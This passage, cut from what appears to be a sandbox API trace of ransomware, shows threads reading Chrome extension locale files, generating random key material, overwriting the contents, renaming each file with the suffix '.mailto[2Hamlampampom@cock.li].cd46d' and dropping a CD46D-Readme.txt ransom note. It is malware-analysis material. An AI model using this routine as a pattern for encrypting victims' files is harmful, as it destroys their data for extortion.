Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x4e3fcac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.647] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x934b88 [0203.721] FlushFileBuffers (hFile=0x12ac) returned 1 [0203.738] CloseHandle (hObject=0x12ac) returned 1 [0203.758] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13c) returned 0x9a5db0 [0203.758] wcscpy (in: _Dest=0x9a5db0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\" [0203.758] wcscat (in: _Dest=0x9a5db0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\CD46D-Readme.txt" [0203.758] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\cd46d-readme.txt")) returned 0xffffffff [0203.758] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b4 [0203.775] WriteFile (in: hFile=0x7b4, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x4e3fcb4, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x4e3fcb4*=0x6fd, lpOverlapped=0x0) returned 1 [0203.903] CloseHandle (hObject=0x7b4) returned 1 [0203.903] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a5db0) returned 1 [0203.903] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a6188) returned 1 Thread: id = 8818 os_tid = 0x16c4 [0197.152] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json")) returned 0x2020 [0197.152] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json", dwFileAttributes=0x20) returned 1 [0200.170] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf64 [0200.170] GetFileSizeEx (in: hFile=0xf64, lpFileSize=0x454f84c | out: lpFileSize=0x454f84c*=179) returned 1 [0200.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af230 [0200.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909960 [0200.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909910 [0200.170] NtQuerySystemTime (in: CurrentTime=0x454f7ac | out: CurrentTime=0x454f7ac*=132174899747650000) returned 0x0 [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x6758aac8 [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x4e66d200 [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x8d231b9 [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x2c1af77 [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0xc49eebd [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x59cdd585 [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x52c799d [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x105b0c54 [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x3f9bfa2f [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x3c98c6a8 [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x5660101f [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x438d0369 [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x4f251104 [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x77bb4b8c [0200.170] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x784929af [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x7aff0b13 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x37faf114 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x7a393460 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x654eff26 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x57749091 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x339a6896 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x6472e5d2 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0xacf4e4f [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x6d3edd89 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x599921d9 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x67fa50f2 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x68369b93 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x71fdaaa2 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x36dde243 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x7280fa49 [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x43034d6b [0200.171] RtlRandomEx (in: Seed=0x454f7b8 | out: Seed=0x454f7b8) returned 0x5965736a [0200.182] ReadFile (in: hFile=0xf64, lpBuffer=0x12df8950, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x454f7a8, lpOverlapped=0x0 | out: lpBuffer=0x12df8950*, lpNumberOfBytesRead=0x454f7a8*=0xb3, lpOverlapped=0x0) returned 1 [0200.183] SetFilePointerEx (in: hFile=0xf64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.183] WriteFile (in: hFile=0xf64, lpBuffer=0x12e05158*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x454f7a4, lpOverlapped=0x0 | out: lpBuffer=0x12e05158*, lpNumberOfBytesWritten=0x454f7a4*=0xb3, lpOverlapped=0x0) returned 1 [0201.134] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5c10 [0201.134] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5940 [0201.134] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5940) returned 1 [0201.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e05158) returned 1 [0201.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12df8950) returned 1 [0201.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e90e8) returned 1 [0201.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2740) returned 1 [0201.135] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x9383f0 [0201.135] SetFilePointerEx (in: hFile=0xf64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.135] WriteFile (in: hFile=0xf64, lpBuffer=0x12cf6ad0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x454f80c, lpOverlapped=0x0 | out: lpBuffer=0x12cf6ad0*, lpNumberOfBytesWritten=0x454f80c*=0x10b, lpOverlapped=0x0) returned 1 [0201.624] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6ad0) returned 1 [0201.624] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938420) returned 1 [0201.624] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5940) returned 1 [0201.624] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9383f0) returned 1 [0201.624] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c10) returned 1 [0201.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909960) returned 1 [0201.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909730) returned 1 [0201.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9094d8) returned 1 [0201.625] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17c) returned 0xd4c6390 [0201.625] wcscpy (in: _Dest=0xd4c6390, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" [0201.625] wcscat (in: _Dest=0xd4c6390, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.625] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x454f7c4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.625] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x933ff0 [0201.804] FlushFileBuffers (hFile=0xf64) returned 1 [0201.813] CloseHandle (hObject=0xf64) returned 1 [0201.919] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13c) returned 0x9b58e8 [0201.919] wcscpy (in: _Dest=0x9b58e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\" [0201.919] wcscat (in: _Dest=0x9b58e8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\CD46D-Readme.txt" [0201.919] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\cd46d-readme.txt")) returned 0xffffffff [0201.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b8 [0202.046] WriteFile (in: hFile=0x14b8, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x454f7cc, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x454f7cc*=0x6fd, lpOverlapped=0x0) returned 1 [0202.047] CloseHandle (hObject=0x14b8) returned 1 [0202.047] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b58e8) returned 1 [0202.047] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a6040) returned 1 Thread: id = 8819 os_tid = 0x16c8 [0197.153] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json")) returned 0x2020 [0197.153] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json", dwFileAttributes=0x20) returned 1 [0200.184] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe30 [0200.185] GetFileSizeEx (in: hFile=0xe30, lpFileSize=0x2d0fd98 | out: lpFileSize=0x2d0fd98*=179) returned 1 [0200.185] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af230 [0200.185] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909910 [0200.185] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9096b8 [0200.185] NtQuerySystemTime (in: CurrentTime=0x2d0fcf8 | out: CurrentTime=0x2d0fcf8*=132174899747806000) returned 0x0 [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x2dff0a23 [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x19e3335b [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x3f5612aa [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0xe8b9888 [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x1de4f46b [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x5feb2f30 [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x4d4c287c [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x7b089604 [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x452df4a7 [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x6b3cc981 [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x781f8d21 [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x2fe3b755 [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x1fb9175 [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x21e50eda [0200.185] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x32c50f96 [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x7a2f4631 [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x4e8b0b4c [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0xe29a807 [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x5017af17 [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x19baf2bb [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x269672c3 [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x30664eb1 [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x73d113ef [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x705c1fc2 [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x21babcc6 [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x441db1ba [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0xd49b57d [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x546341af [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x23d4db35 [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x7d22169e [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x7f31222d [0200.186] RtlRandomEx (in: Seed=0x2d0fd04 | out: Seed=0x2d0fd04) returned 0x614ac34d [0200.197] ReadFile (in: hFile=0xe30, lpBuffer=0x12e11960, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2d0fcf4, lpOverlapped=0x0 | out: lpBuffer=0x12e11960*, lpNumberOfBytesRead=0x2d0fcf4*=0xb3, lpOverlapped=0x0) returned 1 [0200.199] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.199] WriteFile (in: hFile=0xe30, lpBuffer=0x134f1178*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2d0fcf0, lpOverlapped=0x0 | out: lpBuffer=0x134f1178*, lpNumberOfBytesWritten=0x2d0fcf0*=0xb3, lpOverlapped=0x0) returned 1 [0201.538] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8800 [0201.538] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8828 [0201.538] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8828) returned 1 [0201.538] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134f1178) returned 1 [0201.552] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e11960) returned 1 [0201.555] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9430) returned 1 [0201.555] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f90a8) returned 1 [0201.555] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x928af8 [0201.555] SetFilePointerEx (in: hFile=0xe30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.555] WriteFile (in: hFile=0xe30, lpBuffer=0x1338e7a8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2d0fd58, lpOverlapped=0x0 | out: lpBuffer=0x1338e7a8*, lpNumberOfBytesWritten=0x2d0fd58*=0x10b, lpOverlapped=0x0) returned 1 [0201.690] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338e7a8) returned 1 [0201.690] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928b28) returned 1 [0201.690] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8828) returned 1 [0201.690] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928af8) returned 1 [0201.690] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8800) returned 1 [0201.690] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909910) returned 1 [0201.691] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9097f8) returned 1 [0201.691] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909500) returned 1 [0201.691] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17c) returned 0x942cf0 [0201.691] wcscpy (in: _Dest=0x942cf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" [0201.691] wcscat (in: _Dest=0x942cf0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0201.691] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2d0fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.691] RtlAllocateHeap 